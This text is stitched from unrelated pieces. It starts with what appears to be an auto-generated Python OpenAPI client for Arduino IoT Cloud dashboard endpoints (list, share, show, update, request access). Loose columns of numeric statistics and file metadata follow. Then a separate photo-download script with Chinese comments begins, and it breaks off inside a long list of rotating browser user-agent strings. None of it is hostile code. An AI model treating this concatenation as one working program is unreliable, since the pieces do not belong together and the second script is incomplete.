def dashboards_v2_list(self, **kwargs): # noqa: E501
"""list dashboards_v2 # noqa: E501
Returns the list of dashboards # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_list(async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str name: The name of the dashboard
:param str user_id: The user_id of the dashboard's owner
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[ArduinoDashboardv2]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_list_with_http_info(**kwargs) # noqa: E501
def dashboards_v2_list_with_http_info(self, **kwargs): # noqa: E501
"""list dashboards_v2 # noqa: E501
Returns the list of dashboards # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_list_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str name: The name of the dashboard
:param str user_id: The user_id of the dashboard's owner
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[ArduinoDashboardv2], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'name',
'user_id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
if self.api_client.client_side_validation and ('name' in local_var_params and # noqa: E501
len(local_var_params['name']) > 64): # noqa: E501
raise ApiValueError("Invalid value for parameter `name` when calling `dashboards_v2_list`, length must be less than or equal to `64`") # noqa: E501
if self.api_client.client_side_validation and 'name' in local_var_params and not re.search(r'[a-zA-Z0-9_.@-]+', local_var_params['name']): # noqa: E501
raise ApiValueError("Invalid value for parameter `name` when calling `dashboards_v2_list`, must conform to the pattern `/[a-zA-Z0-9_.@-]+/`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501
query_params.append(('name', local_var_params['name'])) # noqa: E501
if 'user_id' in local_var_params and local_var_params['user_id'] is not None: # noqa: E501
query_params.append(('user_id', local_var_params['user_id'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ArduinoDashboardv2]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_list_shares(self, id, **kwargs): # noqa: E501
"""listShares dashboards_v2 # noqa: E501
List of users the dashboard has been shared with # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_list_shares(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[ArduinoDashboardshare]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_list_shares_with_http_info(id, **kwargs) # noqa: E501
def dashboards_v2_list_shares_with_http_info(self, id, **kwargs): # noqa: E501
"""listShares dashboards_v2 # noqa: E501
List of users the dashboard has been shared with # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_list_shares_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[ArduinoDashboardshare], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_list_shares" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_list_shares`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}/shares', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ArduinoDashboardshare]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_request_access(self, id, sharerequest, **kwargs): # noqa: E501
"""requestAccess dashboards_v2 # noqa: E501
Request access to a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_request_access(id, sharerequest, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Sharerequest sharerequest: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_request_access_with_http_info(id, sharerequest, **kwargs) # noqa: E501
def dashboards_v2_request_access_with_http_info(self, id, sharerequest, **kwargs): # noqa: E501
"""requestAccess dashboards_v2 # noqa: E501
Request access to a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_request_access_with_http_info(id, sharerequest, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Sharerequest sharerequest: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id',
'sharerequest'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_request_access" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_request_access`") # noqa: E501
# verify the required parameter 'sharerequest' is set
if self.api_client.client_side_validation and ('sharerequest' not in local_var_params or # noqa: E501
local_var_params['sharerequest'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `sharerequest` when calling `dashboards_v2_request_access`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'sharerequest' in local_var_params:
body_params = local_var_params['sharerequest']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}/share_request', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_share(self, id, dashboardshare, **kwargs): # noqa: E501
"""share dashboards_v2 # noqa: E501
Share a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_share(id, dashboardshare, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Dashboardshare dashboardshare: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_share_with_http_info(id, dashboardshare, **kwargs) # noqa: E501
def dashboards_v2_share_with_http_info(self, id, dashboardshare, **kwargs): # noqa: E501
"""share dashboards_v2 # noqa: E501
Share a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_share_with_http_info(id, dashboardshare, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Dashboardshare dashboardshare: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id',
'dashboardshare'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_share" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_share`") # noqa: E501
# verify the required parameter 'dashboardshare' is set
if self.api_client.client_side_validation and ('dashboardshare' not in local_var_params or # noqa: E501
local_var_params['dashboardshare'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `dashboardshare` when calling `dashboards_v2_share`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'dashboardshare' in local_var_params:
body_params = local_var_params['dashboardshare']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}/shares', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_show(self, id, **kwargs): # noqa: E501
"""show dashboards_v2 # noqa: E501
Show a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_show(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: ArduinoDashboardv2
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_show_with_http_info(id, **kwargs) # noqa: E501
def dashboards_v2_show_with_http_info(self, id, **kwargs): # noqa: E501
"""show dashboards_v2 # noqa: E501
Show a dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_show_with_http_info(id, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(ArduinoDashboardv2, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_show" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_show`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ArduinoDashboardv2', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def dashboards_v2_update(self, id, dashboardv2, **kwargs): # noqa: E501
"""update dashboards_v2 # noqa: E501
Updates an existing dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_update(id, dashboardv2, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Dashboardv2 dashboardv2: DashboardV2Payload describes a dashboard (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: ArduinoDashboardv2
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.dashboards_v2_update_with_http_info(id, dashboardv2, **kwargs) # noqa: E501
def dashboards_v2_update_with_http_info(self, id, dashboardv2, **kwargs): # noqa: E501
"""update dashboards_v2 # noqa: E501
Updates an existing dashboard # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.dashboards_v2_update_with_http_info(id, dashboardv2, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str id: The id of the dashboard (required)
:param Dashboardv2 dashboardv2: DashboardV2Payload describes a dashboard (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(ArduinoDashboardv2, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'id',
'dashboardv2'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method dashboards_v2_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `dashboards_v2_update`") # noqa: E501
# verify the required parameter 'dashboardv2' is set
if self.api_client.client_side_validation and ('dashboardv2' not in local_var_params or # noqa: E501
local_var_params['dashboardv2'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `dashboardv2` when calling `dashboards_v2_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'dashboardv2' in local_var_params:
body_params = local_var_params['dashboardv2']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json', 'application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v2/dashboards/{id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ArduinoDashboardv2', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
| 45.403816
| 434
| 0.590059
| 6,318
| 57,118
| 5.089585
| 0.039728
| 0.046026
| 0.065307
| 0.027989
| 0.953415
| 0.951113
| 0.943463
| 0.931428
| 0.918149
| 0.90798
| 0
| 0.019781
| 0.336199
| 57,118
| 1,257
| 435
| 45.439936
| 0.828327
| 0.439634
| 0
| 0.726821
| 0
| 0.003311
| 0.182383
| 0.051217
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034768
| false
| 0
| 0.008278
| 0
| 0.077815
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fdfe2e28331278b3acd1664c6cd32872163218f7
| 13,459
|
py
|
Python
|
test/FileProcessing/HighConDownload/highdowntop150.py
|
loetcn/UNT
|
f30371685c0af5b3f8db321363fef4dc7b98836c
|
[
"Apache-2.0"
] | 2
|
2018-11-15T15:01:53.000Z
|
2018-11-15T15:01:55.000Z
|
test/FileProcessing/HighConDownload/highdowntop150.py
|
loetcn/UNT
|
f30371685c0af5b3f8db321363fef4dc7b98836c
|
[
"Apache-2.0"
] | null | null | null |
test/FileProcessing/HighConDownload/highdowntop150.py
|
loetcn/UNT
|
f30371685c0af5b3f8db321363fef4dc7b98836c
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding:utf-8 -*-
import csv,os,time
import requests
import random
import threadpool
import shutil
#由于之前没有给照片按照指定的文件夹存放，而且，有些照片因为网络的问题没有成功下载，因此只能这样子先复制再下载！
#下载照片数据
#可再做处理，进行优化。
def randomAgentGen():
userAgent = ('Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.46 (KHTML, like Gecko) Version/8.0 Safari/538.46',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
